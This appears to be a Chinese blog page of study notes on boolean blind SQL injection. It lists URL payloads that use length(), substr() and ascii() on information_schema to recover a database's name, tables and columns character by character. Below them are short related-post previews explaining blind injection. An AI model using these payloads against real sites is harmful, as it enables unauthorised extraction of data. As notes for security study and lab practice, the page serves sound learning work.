sql注入盲注筆記

2021-10-01 14:12:54 字數 867 閱讀 5297

?id= 1』 and length(database())=1 (2,3,4…) --+ 其他兩個盲注函式 left mid

(需要重複操作)

?id= 1』 and ascii(substr(database(),1,1))>97 (ascii碼的十進位制的對應數)–+

(需要重複操作)

?id= 1』 and (select count(table_name) from information_schema.tables where

table_schema=『庫名』)=1(2,3…)–+

(需要重複操作)

?id=1』 and length(substr((select table_name from information_schema.tables

where table_schema=『庫名』 limit 0,1),1))=1 (2,3…)–+

(需要重複操作)

?id= 1』 and ascii(substr((select table_name from information_schema.tables

where table_schema=『庫名』 limit 0,1),1,1))>97 (ascii碼的十進位制的對應數)–+

(需要重複操作)

?id= 1』 and (select count(column_name) from information_schema.columns where

table_name=『表名』)=1 (2,3…)–+

(需要重複操作)

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...